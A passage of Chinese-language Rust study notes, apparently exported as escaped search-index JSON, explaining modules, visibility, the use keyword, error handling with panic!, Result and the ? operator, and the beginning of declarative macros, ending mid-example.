<p>\u4e00\u4e2a\u5305\u6700\u591a\u5305\u542b\u4e00\u4e2a\u5e93\"\u7bb1\"\uff0c\u53ef\u4ee5\u5305\u542b\u4efb\u610f\u6570\u91cf\u7684\u4e8c\u8fdb\u5236\"\u7bb1\"\uff0c\u4f46\u662f\u81f3\u5c11\u5305\u542b\u4e00\u4e2a\"\u7bb1\"\uff08\u4e0d\u7ba1\u662f\u5e93\u8fd8\u662f\u4e8c\u8fdb\u5236\"\u7bb1\"\uff09\u3002</p> <p>\u5f53\u4f7f\u7528 cargo new \u547d\u4ee4\u521b\u5efa\u5b8c\u5305\u4e4b\u540e\uff0csrc \u76ee\u5f55\u4e0b\u4f1a\u751f\u6210\u4e00\u4e2a main.rs \u6e90\u6587\u4ef6\uff0cCargo \u9ed8\u8ba4\u8fd9\u4e2a\u6587\u4ef6\u4e3a\u4e8c\u8fdb\u5236\u7bb1\u7684\u6839\uff0c\u7f16\u8bd1\u4e4b\u540e\u7684\u4e8c\u8fdb\u5236\u7bb1\u5c06\u4e0e\u5305\u540d\u76f8\u540c\u3002</p> <p>\u6a21\u5757\uff08Module\uff09 \u5bf9\u4e8e\u4e00\u4e2a\u8f6f\u4ef6\u5de5\u7a0b\u6765\u8bf4\uff0c\u6211\u4eec\u5f80\u5f80\u6309\u7167\u6240\u4f7f\u7528\u7684\u7f16\u7a0b\u8bed\u8a00\u7684\u7ec4\u7ec7\u89c4\u8303\u6765\u8fdb\u884c\u7ec4\u7ec7\uff0c\u7ec4\u7ec7\u6a21\u5757\u7684\u4e3b\u8981\u7ed3\u6784\u5f80\u5f80\u662f\u6811\u3002Java \u7ec4\u7ec7\u529f\u80fd\u6a21\u5757\u7684\u4e3b\u8981\u5355\u4f4d\u662f\u7c7b\uff0c\u800c JavaScript \u7ec4\u7ec7\u6a21\u5757\u7684\u4e3b\u8981\u65b9\u5f0f\u662f function\u3002</p> <p>\u8fd9\u4e9b\u5148\u8fdb\u7684\u8bed\u8a00\u7684\u7ec4\u7ec7\u5355\u4f4d\u53ef\u4ee5\u5c42\u5c42\u5305\u542b\uff0c\u5c31\u50cf\u6587\u4ef6\u7cfb\u7edf\u7684\u76ee\u5f55\u7ed3\u6784\u4e00\u6837\u3002Rust \u4e2d\u7684\u7ec4\u7ec7\u5355\u4f4d\u662f\u6a21\u5757\uff08Module\uff09\u3002</p> <p><pre><code>mod nation {\n    mod government {\n        fn govern() {}\n    }\n    mod congress {\n        fn legislate() {}\n    }\n    mod court {\n        fn judicial() {}\n    }\n}\n</code></pre> \u8fd9\u662f\u4e00\u6bb5\u63cf\u8ff0\u6cd5\u6cbb\u56fd\u5bb6\u7684\u7a0b\u5e8f\uff1a\u56fd\u5bb6\uff08nation\uff09\u5305\u62ec\u653f\u5e9c\uff08government\uff09\u3001\u8bae\u4f1a\uff08congress\uff09\u548c\u6cd5\u9662\uff08court\uff09\uff0c\u5206\u522b\u6709\u884c\u653f\u3001\u7acb\u6cd5\u548c\u53f8\u6cd5\u7684\u529f\u80fd\u3002\u6211\u4eec\u53ef\u4ee5\u628a\u5b83\u8f6c\u6362\u6210\u6811\u72b6\u7ed3\u6784\uff1a <pre><code>nation\n \u251c\u2500\u2500 government\n \u2502 \u2514\u2500\u2500 govern\n \u251c\u2500\u2500 congress\n \u2502 \u2514\u2500\u2500 legislate\n \u2514\u2500\u2500 court\n   \u2514\u2500\u2500 judicial\n</code></pre></p> <p>\u5728\u6587\u4ef6\u7cfb\u7edf\u4e2d\uff0c\u76ee\u5f55\u7ed3\u6784\u5f80\u5f80\u4ee5\u659c\u6760\u5728\u8def\u5f84\u5b57\u7b26\u4e32\u4e2d\u8868\u793a\u5bf9\u8c61\u7684\u4f4d\u7f6e\uff0cRust \u4e2d\u7684\u8def\u5f84\u5206\u9694\u7b26\u662f :: \u3002</p> <p>\u8def\u5f84\u5206\u4e3a\u7edd\u5bf9\u8def\u5f84\u548c\u76f8\u5bf9\u8def\u5f84\u3002\u7edd\u5bf9\u8def\u5f84\u4ece crate \u5173\u952e\u5b57\u5f00\u59cb\u63cf\u8ff0\u3002\u76f8\u5bf9\u8def\u5f84\u4ece self \u6216 super \u5173\u952e\u5b57\u6216\u4e00\u4e2a\u6807\u8bc6\u7b26\u5f00\u59cb\u63cf\u8ff0\u3002\u4f8b\u5982\uff1a <pre><code>crate::nation::government::govern();\n</code></pre> \u662f\u63cf\u8ff0 govern \u51fd\u6570\u7684\u7edd\u5bf9\u8def\u5f84\uff0c\u76f8\u5bf9\u8def\u5f84\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a <pre><code>nation::government::govern();\n</code></pre> \u73b0\u5728\u4f60\u53ef\u4ee5\u5c1d\u8bd5\u5728\u4e00\u4e2a\u6e90\u7a0b\u5e8f\u91cc\u5b9a\u4e49\u7c7b\u4f3c\u7684\u6a21\u5757\u7ed3\u6784\u5e76\u5728\u4e3b\u51fd\u6570\u4e2d\u4f7f\u7528\u8def\u5f84\u3002</p> <p>\u5982\u679c\u4f60\u8fd9\u6837\u505a\uff0c\u4f60\u4e00\u5b9a\u4f1a\u53d1\u73b0\u5b83\u4e0d\u6b63\u786e\u7684\u5730\u65b9\uff1agovernment \u6a21\u5757\u548c\u5176\u4e2d\u7684\u51fd\u6570\u90fd\u662f\u79c1\u6709\uff08private\uff09\u7684\uff0c\u4f60\u4e0d\u88ab\u5141\u8bb8\u8bbf\u95ee\u5b83\u4eec\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_37","title":"\u8bbf\u95ee\u6743\u9650","text":"<p>Rust \u4e2d\u6709\u4e24\u79cd\u7b80\u5355\u7684\u8bbf\u95ee\u6743\uff1a\u516c\u5171\uff08public\uff09\u548c\u79c1\u6709\uff08private\uff09\u3002</p> <p>\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5982\u679c\u4e0d\u52a0\u4fee\u9970\u7b26\uff0c\u6a21\u5757\u4e2d\u7684\u6210\u5458\u8bbf\u95ee\u6743\u5c06\u662f\u79c1\u6709\u7684\u3002</p> <p>\u5982\u679c\u60f3\u4f7f\u7528\u516c\u5171\u6743\u9650\uff0c\u9700\u8981\u4f7f\u7528 pub \u5173\u952e\u5b57\u3002</p> <p>\u5bf9\u4e8e\u79c1\u6709\u7684\u6a21\u5757\uff0c\u53ea\u6709\u5728\u4e0e\u5176\u5e73\u7ea7\u7684\u4f4d\u7f6e\u6216\u4e0b\u7ea7\u7684\u4f4d\u7f6e\u624d\u80fd\u8bbf\u95ee\uff0c\u4e0d\u80fd\u4ece\u5176\u5916\u90e8\u8bbf\u95ee\u3002 <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n\n    mod congress {\n        pub fn legislate() {}\n    }\n\n    mod court {\n        fn judicial() {\n            super::congress::legislate();\n        }\n    }\n}\n\nfn main() {\n    nation::government::govern();\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u662f\u80fd\u901a\u8fc7\u7f16\u8bd1\u7684\u3002\u8bf7\u6ce8\u610f\u89c2\u5bdf court \u6a21\u5757\u4e2d super \u7684\u8bbf\u95ee\u65b9\u6cd5\u3002</p> <p>\u5982\u679c\u6a21\u5757\u4e2d\u5b9a\u4e49\u4e86\u7ed3\u6784\u4f53\uff0c\u7ed3\u6784\u4f53\u9664\u4e86\u5176\u672c\u8eab\u662f\u79c1\u6709\u7684\u4ee5\u5916\uff0c\u5176\u5b57\u6bb5\u4e5f\u9ed8\u8ba4\u662f\u79c1\u6709\u7684\u3002\u6240\u4ee5\u5982\u679c\u60f3\u4f7f\u7528\u6a21\u5757\u4e2d\u7684\u7ed3\u6784\u4f53\u4ee5\u53ca\u5176\u5b57\u6bb5\uff0c\u9700\u8981 pub \u58f0\u660e\uff1a</p> <p><pre><code>mod back_of_house {\n    pub struct Breakfast {\n        pub toast: String,\n        seasonal_fruit: String,\n    }\n\n    impl Breakfast {\n        pub fn summer(toast: &amp;str) -&gt; Breakfast {\n            Breakfast {\n                toast: String::from(toast),\n                seasonal_fruit: String::from(\"peaches\"),\n            }\n        }\n    }\n}\npub fn eat_at_restaurant() {\n    let mut meal = back_of_house::Breakfast::summer(\"Rye\");\n    meal.toast = String::from(\"Wheat\");\n    println!(\"I'd like {} toast please\", meal.toast);\n}\nfn main() {\n    eat_at_restaurant()\n}\n</code></pre> \u679a\u4e3e\u7c7b\u679a\u4e3e\u9879\u53ef\u4ee5\u5185\u542b\u5b57\u6bb5\uff0c\u4f46\u4e0d\u5177\u5907\u7c7b\u4f3c\u7684\u6027\u8d28:</p> <pre><code>mod SomeModule {\n    pub enum Person {\n        King {\n            name: String\n        },\n        Queen\n    }\n}\n\nfn main() {\n    let person = SomeModule::Person::King{\n        name: String::from(\"Blue\")\n    };\n    match person {\n        SomeModule::Person::King {name} =&gt; {\n            println!(\"{}\", name);\n        }\n        _ =&gt; {}\n    }\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_38","title":"\u96be\u4ee5\u53d1\u73b0\u7684\u6a21\u5757","text":"<p>\u4f7f\u7528\u8fc7 Java \u7684\u5f00\u53d1\u8005\u5728\u7f16\u7a0b\u65f6\u5f80\u5f80\u975e\u5e38\u8ba8\u538c\u6700\u5916\u5c42\u7684 class \u5757\u2014\u2014\u5b83\u7684\u540d\u5b57\u4e0e\u6587\u4ef6\u540d\u4e00\u6a21\u4e00\u6837\uff0c\u56e0\u4e3a\u5b83\u5c31\u8868\u793a\u6587\u4ef6\u5bb9\u5668\uff0c\u5c3d\u7ba1\u5b83\u5f88\u7e41\u7410\u4f46\u6211\u4eec\u4e0d\u5f97\u4e0d\u5199\u4e00\u904d\u6765\u5f3a\u8c03\"\u8fd9\u4e2a\u7c7b\u662f\u6587\u4ef6\u6240\u5305\u542b\u7684\u7c7b\"\u3002</p> <p>\u4e0d\u8fc7\u8fd9\u6837\u6709\u4e00\u4e9b\u597d\u5904\uff1a\u8d77\u7801\u5b83\u8ba9\u5f00\u53d1\u8005\u660e\u660e\u767d\u767d\u7684\u610f\u8bc6\u5230\u4e86\u7c7b\u5305\u88c5\u7684\u5b58\u5728\uff0c\u800c\u4e14\u53ef\u4ee5\u660e\u786e\u7684\u63cf\u8ff0\u7c7b\u7684\u7ee7\u627f\u5173\u7cfb\u3002</p> <p>\u5728 Rust \u4e2d\uff0c\u6a21\u5757\u5c31\u50cf\u662f Java \u4e2d\u7684\u7c7b\u5305\u88c5\uff0c\u4f46\u662f\u6587\u4ef6\u4e00\u5f00\u5934\u5c31\u53ef\u4ee5\u5199\u4e00\u4e2a\u4e3b\u51fd\u6570\uff0c\u8fd9\u8be5\u5982\u4f55\u89e3\u91ca\u5462\uff1f</p> <p>\u6bcf\u4e00\u4e2a Rust \u6587\u4ef6\u7684\u5185\u5bb9\u90fd\u662f\u4e00\u4e2a\"\u96be\u4ee5\u53d1\u73b0\"\u7684\u6a21\u5757\u3002</p> <p>\u8ba9\u6211\u4eec\u7528\u4e24\u4e2a\u6587\u4ef6\u6765\u63ed\u793a\u8fd9\u4e00\u70b9\uff1a</p> <pre><code>// main.rs\nmod second_module;\n\nfn main() {\n    println!(\"This is the main module.\");\n    println!(\"{}\", second_module::message());\n}\n</code></pre> <p><pre><code>// second_module.rs\npub fn message() -&gt; String {\n    String::from(\"This is the 2nd module.\")\n}\n</code></pre> \u8f93\u51fa <pre><code>This is the main module.\nThis is the 2nd module.\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#use","title":"use\u5173\u952e\u5b57","text":"<p>use \u5173\u952e\u5b57\u80fd\u591f\u5c06\u6a21\u5757\u6807\u8bc6\u7b26\u5f15\u5165\u5f53\u524d\u4f5c\u7528\u57df\uff1a</p> <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n}\n\nuse crate::nation::government::govern;\n\nfn main() {\n    govern();\n}\n</code></pre> <p>\u8fd9\u6bb5\u7a0b\u5e8f\u80fd\u591f\u901a\u8fc7\u7f16\u8bd1\u3002</p> <p>\u56e0\u4e3a use \u5173\u952e\u5b57\u628a govern \u6807\u8bc6\u7b26\u5bfc\u5165\u5230\u4e86\u5f53\u524d\u7684\u6a21\u5757\u4e0b\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528\u3002</p> <p>\u8fd9\u6837\u5c31\u89e3\u51b3\u4e86\u5c40\u90e8\u6a21\u5757\u8def\u5f84\u8fc7\u957f\u7684\u95ee\u9898\u3002</p> <p>\u5f53\u7136\uff0c\u6709\u4e9b\u60c5\u51b5\u4e0b\u5b58\u5728\u4e24\u4e2a\u76f8\u540c\u7684\u540d\u79f0\uff0c\u4e14\u540c\u6837\u9700\u8981\u5bfc\u5165\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 as \u5173\u952e\u5b57\u4e3a\u6807\u8bc6\u7b26\u6dfb\u52a0\u522b\u540d\uff1a</p> <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n    pub fn govern() {}\n}\n\nuse crate::nation::government::govern;\nuse crate::nation::govern as nation_govern;\n\nfn main() {\n    nation_govern();\n    govern();\n}\n</code></pre> <p>\u8fd9\u91cc\u6709\u4e24\u4e2a <code>govern</code> \u51fd\u6570\uff0c\u4e00\u4e2a\u662f <code>nation</code> \u4e0b\u7684\uff0c\u4e00\u4e2a\u662f <code>government</code> \u4e0b\u7684\uff0c\u6211\u4eec\u7528 <code>as</code> \u5c06 <code>nation</code> \u4e0b\u7684\u53d6\u522b\u540d <code>nation_govern</code>\u3002\u4e24\u4e2a\u540d\u79f0\u53ef\u4ee5\u540c\u65f6\u4f7f\u7528\u3002</p> <p><code>use</code> \u5173\u952e\u5b57\u53ef\u4ee5\u4e0e <code>pub</code> \u5173\u952e\u5b57\u914d\u5408\u4f7f\u7528\uff1a</p> <pre><code>mod nation {\n    pub mod government {\n        pub fn govern() {}\n    }\n    pub use government::govern;\n}\n\nfn main() {\n    nation::govern();\n}\n</code></pre> <p>\u7136\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8f7b\u677e\u5730\u5bfc\u5165\u7cfb\u7edf\u5e93\u6765\u5f00\u53d1\u7a0b\u5e8f\u4e86 <pre><code>use std::f64::consts::PI;\n\nfn main() {\n    println!(\"{}\", (PI / 2.0).sin());\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_39","title":"\u9519\u8bef\u5904\u7406","text":"<p>Rust \u6709\u4e00\u5957\u72ec\u7279\u7684\u5904\u7406\u5f02\u5e38\u60c5\u51b5\u7684\u673a\u5236\uff0c\u5b83\u5e76\u4e0d\u50cf\u5176\u5b83\u8bed\u8a00\u4e2d\u7684 try \u673a\u5236\u90a3\u6837\u7b80\u5355\u3002</p> <p>\u9996\u5148\uff0c\u7a0b\u5e8f\u4e2d\u4e00\u822c\u4f1a\u51fa\u73b0\u4e24\u79cd\u9519\u8bef\uff1a\u53ef\u6062\u590d\u9519\u8bef\u548c\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u3002</p> <p>\u53ef\u6062\u590d\u9519\u8bef\u7684\u5178\u578b\u6848\u4f8b\u662f\u6587\u4ef6\u8bbf\u95ee\u9519\u8bef\uff0c\u5982\u679c\u8bbf\u95ee\u4e00\u4e2a\u6587\u4ef6\u5931\u8d25\uff0c\u6709\u53ef\u80fd\u662f\u56e0\u4e3a\u5b83\u6b63\u5728\u88ab\u5360\u7528\uff0c\u662f\u6b63\u5e38\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u7b49\u5f85\u6765\u89e3\u51b3\u3002</p> <p>\u4f46\u8fd8\u6709\u4e00\u79cd\u9519\u8bef\u662f\u7531\u7f16\u7a0b\u4e2d\u65e0\u6cd5\u89e3\u51b3\u7684\u903b\u8f91\u9519\u8bef\u5bfc\u81f4\u7684\uff0c\u4f8b\u5982\u8bbf\u95ee\u6570\u7ec4\u672b\u5c3e\u4ee5\u5916\u7684\u4f4d\u7f6e\u3002</p> <p>\u5927\u591a\u6570\u7f16\u7a0b\u8bed\u8a00\u4e0d\u533a\u5206\u8fd9\u4e24\u79cd\u9519\u8bef\uff0c\u5e76\u7528 <code>Exception</code> \uff08\u5f02\u5e38\uff09\u7c7b\u6765\u8868\u793a\u9519\u8bef\u3002\u5728 Rust \u4e2d\u6ca1\u6709 <code>Exception</code>\u3002</p> <p>\u5bf9\u4e8e\u53ef\u6062\u590d\u9519\u8bef\u7528 <code>Result&lt;T, E&gt;</code> \u7c7b\u6765\u5904\u7406\uff0c\u5bf9\u4e8e\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u4f7f\u7528 <code>panic!</code> \u5b8f\u6765\u5904\u7406\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_40","title":"\u4e0d\u53ef\u6062\u590d\u9519\u8bef","text":"<p>\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u53d7\u5230\u81f4\u547d\u7684\u6253\u51fb\u800c\u7ec8\u6b62\u8fd0\u884c</p> <p>\u4f8b\u5982</p> <p><pre><code>fn main() {\n    panic!(\"error occured\");\n    println!(\"Hello, Rust\");\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c </p> <ul> <li> <p>\u7b2c\u4e00\u884c\u7b2c\u4e8c\u884c\u8f93\u51fa\u4e86<code>panic!</code>\u5b8f\u8c03\u7528\u7684\u4f4d\u7f6e\u4ee5\u53ca\u5176\u8f93\u51fa\u7684\u9519\u8bef\u4fe1\u606f</p> </li> <li> <p>\u7b2c\u4e8c\u884c\u662f\u4e00\u53e5\u63d0\u793a\u7b2c\u4e8c\u884c\u662f\u4e00\u53e5\u63d0\u793a\uff0c\u7ffb\u8bd1\u6210\u4e2d\u6587\u5c31\u662f\"\u901a\u8fc7 <code>RUST_BACKTRACE=1</code> \u73af\u5883\u53d8\u91cf\u8fd0\u884c\u4ee5\u663e\u793a\u56de\u6eaf\"\u3002</p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_41","title":"\u53ef\u6062\u590d\u7684\u9519\u8bef","text":"<p>\u6b64\u6982\u5ff5\u5341\u5206\u7c7b\u4f3c\u4e8e Java \u7f16\u7a0b\u8bed\u8a00\u4e2d\u7684\u5f02\u5e38\u3002\u5b9e\u9645\u4e0a\u5728 C \u8bed\u8a00\u4e2d\u6211\u4eec\u5c31\u5e38\u5e38\u5c06\u51fd\u6570\u8fd4\u56de\u503c\u8bbe\u7f6e\u6210\u6574\u6570\u6765\u8868\u8fbe\u51fd\u6570\u9047\u5230\u7684\u9519\u8bef\uff0c\u5728 Rust \u4e2d\u901a\u8fc7 Result \u679a\u4e3e\u7c7b\u4f5c\u8fd4\u56de\u503c\u6765\u8fdb\u884c\u5f02\u5e38\u8868\u8fbe\uff1a <pre><code>enum Result&lt;T, E&gt; {\n    Ok(T),\n    Err(E),\n}\n</code></pre> <p>\u5728 Rust \u6807\u51c6\u5e93\u4e2d\u53ef\u80fd\u4ea7\u751f\u5f02\u5e38\u7684\u51fd\u6570\u7684\u8fd4\u56de\u503c\u90fd\u662f Result \u7c7b\u578b\u7684\u3002\u4f8b\u5982\uff1a\u5f53\u6211\u4eec\u5c1d\u8bd5\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u65f6\uff1a <pre><code>use std::fs::File;\n\nfn main() {\n    let f = File::open(\"hello.txt\");\n    if let Ok(file) = f {\n        println!(\"File opened successfully.\");\n    } else {\n        println!(\"Failed to open the file.\");\n    }\n}\n</code></pre></p> <p>\u5982\u679c\u60f3\u4f7f\u4e00\u4e2a\u53ef\u6062\u590d\u9519\u8bef\u6309\u4e0d\u53ef\u6062\u590d\u9519\u8bef\u5904\u7406\uff0cResult \u7c7b\u63d0\u4f9b\u4e86\u4e24\u4e2a\u529e\u6cd5\uff1aunwrap() \u548c expect(message: &amp;str) \uff1a</p> <pre><code>use std::fs::File;\n\nfn main() {\n    let f1 = File::open(\"hello.txt\").unwrap();\n    let f2 = File::open(\"hello.txt\").expect(\"Failed to open.\");\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_42","title":"\u53ef\u6062\u590d\u7684\u9519\u8bef\u7684\u4f20\u9012","text":"<p>\u4e4b\u524d\u6240\u8bb2\u7684\u662f\u63a5\u6536\u5230\u9519\u8bef\u7684\u5904\u7406\u65b9\u5f0f\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u81ea\u5df1\u7f16\u5199\u4e00\u4e2a\u51fd\u6570\u5728\u9047\u5230\u9519\u8bef\u65f6\u60f3\u4f20\u9012\u51fa\u53bb\u600e\u4e48\u529e\u5462\uff1f</p> <p><pre><code>fn f(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    if i &gt;= 0 { Ok(i) }\n    else { Err(false) }\n}\n\nfn main() {\n    let r = f(10000);\n    if let Ok(v) = r {\n        println!(\"Ok: f(-1) = {}\", v);\n    } else {\n        println!(\"Err\");\n    }\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c <pre><code>Ok: f(-1) = 10000\n</code></pre></p> <p>\u6211\u4eec\u518d\u5199\u4e00\u4e2a\u4f20\u9012\u9519\u8bef\u7684\u51fd\u6570 g \uff1a <pre><code>fn g(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    let t = f(i);\n    return match t {\n        Ok(i) =&gt; Ok(i),\n        Err(b) =&gt; Err(b)\n    };\n}\n</code></pre> \u51fd\u6570 g \u4f20\u9012\u4e86\u51fd\u6570 f \u53ef\u80fd\u51fa\u73b0\u7684\u9519\u8bef\uff08\u8fd9\u91cc\u7684 g \u53ea\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff0c\u5b9e\u9645\u4e0a\u4f20\u9012\u9519\u8bef\u7684\u51fd\u6570\u4e00\u822c\u8fd8\u5305\u542b\u5f88\u591a\u5176\u5b83\u64cd\u4f5c\uff09\u3002</p> <p>Rust \u4e2d\u53ef\u4ee5\u5728 Result \u5bf9\u8c61\u540e\u6dfb\u52a0 ? \u64cd\u4f5c\u7b26\u5c06\u540c\u7c7b\u7684 Err \u76f4\u63a5\u4f20\u9012\u51fa\u53bb\uff1a</p> <p><pre><code>fn f(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    if i &gt;= 0 { Ok(i) }\n    else { Err(false) }\n}\n\nfn g(i: i32) -&gt; Result&lt;i32, bool&gt; {\n    let t = f(i)?;\n    Ok(t) // \u56e0\u4e3a\u786e\u5b9a t \u4e0d\u662f Err, t \u5728\u8fd9\u91cc\u5df2\u7ecf\u662f i32 \u7c7b\u578b\n}\n\nfn main() {\n    let r = g(-10000);\n    if let Ok(v) = r {\n        println!(\"Ok: g(10000) = {}\", v);\n    } else {\n        println!(\"Err\");\n    }\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c\u4e3a<code>Err</code></p> <p>? \u7b26\u7684\u5b9e\u9645\u4f5c\u7528\u662f\u5c06 Result \u7c7b\u975e\u5f02\u5e38\u7684\u503c\u76f4\u63a5\u53d6\u51fa\uff0c\u5982\u679c\u6709\u5f02\u5e38\u5c31\u5c06\u5f02\u5e38 Result \u8fd4\u56de\u51fa\u53bb\u3002\u6240\u4ee5\uff0c? \u7b26\u4ec5\u7528\u4e8e\u8fd4\u56de\u503c\u7c7b\u578b\u4e3a Result \u7684\u51fd\u6570\uff0c\u5176\u4e2d E \u7c7b\u578b\u5fc5\u987b\u548c ? \u6240\u5904\u7406\u7684 Result \u7684 E \u7c7b\u578b\u4e00\u81f4\u3002 <p>Kind</p> <p>\u5230\u6b64\u4e3a\u6b62\uff0cRust \u4f3c\u4e4e\u6ca1\u6709\u50cf try \u5757\u4e00\u6837\u53ef\u4ee5\u4ee4\u4efb\u4f55\u4f4d\u7f6e\u53d1\u751f\u7684\u540c\u7c7b\u5f02\u5e38\u90fd\u76f4\u63a5\u5f97\u5230\u76f8\u540c\u7684\u89e3\u51b3\u7684\u8bed\u6cd5\uff0c\u4f46\u8fd9\u6837\u5e76\u4e0d\u610f\u5473\u7740 Rust \u5b9e\u73b0\u4e0d\u4e86\uff1a\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u628a try \u5757\u5728\u72ec\u7acb\u7684\u51fd\u6570\u4e2d\u5b9e\u73b0\uff0c\u5c06\u6240\u6709\u7684\u5f02\u5e38\u90fd\u4f20\u9012\u51fa\u53bb\u89e3\u51b3\u3002\u5b9e\u9645\u4e0a\u8fd9\u624d\u662f\u4e00\u4e2a\u5206\u5316\u826f\u597d\u7684\u7a0b\u5e8f\u5e94\u5f53\u9075\u5faa\u7684\u7f16\u7a0b\u65b9\u6cd5\uff1a\u5e94\u8be5\u6ce8\u91cd\u72ec\u7acb\u529f\u80fd\u7684\u5b8c\u6574\u6027\u3002</p> <p>\u4f46\u662f\u8fd9\u6837\u9700\u8981\u5224\u65ad Result \u7684 Err \u7c7b\u578b\uff0c\u83b7\u53d6 Err \u7c7b\u578b\u7684\u51fd\u6570\u662f kind()\u3002</p> <p><pre><code>use std::io;\nuse std::io::Read;\nuse std::fs::File;\n\nfn read_text_from_file(path: &amp;str) -&gt; Result&lt;String, io::Error&gt; {\n    let mut f = File::open(path)?;//\u9996\u5148\u5224\u65ad\u6587\u4ef6\u662f\u5426\u5b58\u5728\n    let mut s = String::new();\n    f.read_to_string(&amp;mut s)?;//\u5224\u65ad\u662f\u5426\u8bfb\u53d6\u5931\u8d25\n    Ok(s)\n}\n\nfn main() {\n    let str_file = read_text_from_file(\"hello.txt\");\n    match str_file {\n        Ok(s) =&gt; println!(\"{}\", s),\n        Err(e) =&gt; {\n            match e.kind() {//\u6839\u636ekind\u5206\u7c7b\n                io::ErrorKind::NotFound =&gt; {\n                    println!(\"No such file\");\n                },\n                _ =&gt; {\n                    println!(\"Cannot read the file\");\n                }\n            }\n        }\n    }\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c <pre><code>No such file\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_43","title":"\u5b8f","text":"<p>Rust \u5b8f\uff08Macros\uff09\u662f\u4e00\u79cd\u5728\u7f16\u8bd1\u65f6\u751f\u6210\u4ee3\u7801\u7684\u5f3a\u5927\u5de5\u5177\uff0c\u5b83\u5141\u8bb8\u4f60\u5728\u7f16\u5199\u4ee3\u7801\u65f6\u521b\u5efa\u81ea\u5b9a\u4e49\u8bed\u6cd5\u6269\u5c55\u3002</p> <p>\u5b8f\uff08Macro\uff09\u662f\u4e00\u79cd\u5728\u4ee3\u7801\u4e2d\u8fdb\u884c\u5143\u7f16\u7a0b\uff08Metaprogramming\uff09\u7684\u6280\u672f\uff0c\u5b83\u5141\u8bb8\u5728\u7f16\u8bd1\u65f6\u751f\u6210\u4ee3\u7801\uff0c\u5b8f\u53ef\u4ee5\u5e2e\u52a9\u7b80\u5316\u4ee3\u7801\uff0c\u63d0\u9ad8\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u548c\u53ef\u7ef4\u62a4\u6027\uff0c\u540c\u65f6\u5141\u8bb8\u5f00\u53d1\u8005\u5728\u7f16\u8bd1\u65f6\u6267\u884c\u4e00\u4e9b\u4ee3\u7801\u751f\u6210\u7684\u64cd\u4f5c\u3002</p> <p>\u5b8f\u5728 Rust \u4e2d\u6709\u4e24\u79cd\u7c7b\u578b\uff1a\u58f0\u660e\u5f0f\u5b8f\uff08Declarative Macros\uff09\u548c\u8fc7\u7a0b\u5b8f\uff08Procedural Macros\uff09\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_44","title":"\u5b9a\u4e49\u5b8f","text":"<p>\u5728 Rust \u4e2d\uff0c\u4f7f\u7528 <code>macro_rules!</code> \u5173\u952e\u5b57\u6765\u5b9a\u4e49\u58f0\u660e\u5f0f\u5b8f\u3002</p> <p>\u4e3b\u8981\u683c\u5f0f\u4e3a</p> <pre><code>macro_rules! my_macro {\n    // \u6a21\u5f0f\u5339\u914d\u548c\u5c55\u5f00\n    ($arg:expr) =&gt; {\n        // \u751f\u6210\u7684\u4ee3\u7801\n        // \u4f7f\u7528 $arg \u6765\u4ee3\u66ff\u5339\u914d\u5230\u7684\u8868\u8fbe\u5f0f\n    };\n}\n</code></pre> <p>\u58f0\u660e\u5f0f\u5b8f\u4f7f\u7528 <code>macro_rules</code>! \u5173\u952e\u5b57\u8fdb\u884c\u5b9a\u4e49\uff0c\u5b83\u4eec\u88ab\u79f0\u4e3a \"macro_rules\" \u5b8f\u3002\u8fd9\u79cd\u5b8f\u7684\u5b9a\u4e49\u662f\u57fa\u4e8e\u6a21\u5f0f\u5339\u914d\u7684\uff0c\u53ef\u4ee5\u5339\u914d\u4ee3\u7801\u7684\u7ed3\u6784\u5e76\u6839\u636e\u5339\u914d\u7684\u6a21\u5f0f\u751f\u6210\u76f8\u5e94\u7684\u4ee3\u7801\u3002\u8fd9\u6837\u7684\u5b8f\u5728\u4e0d\u5f15\u5165\u65b0\u7684\u8bed\u6cd5\u7ed3\u6784\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u7528\u6765\u7b80\u5316\u4e00\u4e9b\u901a\u7528\u7684\u4ee3\u7801\u6a21\u5f0f\u3002</p> <p>\u8fd9\u91cc\u6709\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50</p> <p>Example</p> <pre><code>    // \u5b8f\u7684\u5b9a\u4e49\nmacro_rules! greet {\n    // \u6a21\u5f0f\u5339\u914d\n    ($name:expr) =&gt; {\n        // \u5b8f\u7684\u5c55\u5f00\n        println!(\"Hello, {}!\", $name);\n    };\n}\n\nfn main() {\n    // \u8c03\u7528\u5b8f\n    greet!(\"World\");\n}\n</code></pre> <p>\u5b9a\u4e49\u5b8f (<code>macro_rules! greet</code>) <pre><code>macro_rules! greet 